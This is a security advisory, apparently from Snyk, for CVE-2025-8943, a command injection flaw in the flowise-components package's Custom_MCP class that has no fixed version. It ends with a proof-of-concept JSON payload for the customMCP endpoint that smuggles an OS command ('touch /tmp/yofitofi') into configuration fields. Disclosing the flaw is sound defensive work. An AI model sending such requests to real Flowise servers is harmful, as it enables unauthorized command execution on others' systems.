Command Injection Affecting flowise-components package, versions >=0.0.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-FLOWISECOMPONENTS-11953677
- published17 Aug 2025
- disclosed14 Aug 2025
- creditUnknown
Introduced: 14 Aug 2025
NewCVE-2025-8943 (opens in a new tab)How to fix?
There is no fixed version for flowise-components.
Overview
flowise-components is a Flowiseai Components
Affected versions of this package are vulnerable to Command Injection via the Custom_MCP class. An attacker can gain unauthorized remote access and execute arbitrary operating system commands by sending crafted requests over the network. This is only exploitable if authentication is not explicitly configured.
PoC
Send the following payload to the node-load-method/customMCP API endpoint:
{
"inputs":
{
"mcpServerConfig":
{
"command": "touch",
"args":
[
"/tmp/yofitofi"
]
}
},
"loadMethod": "listActions"
}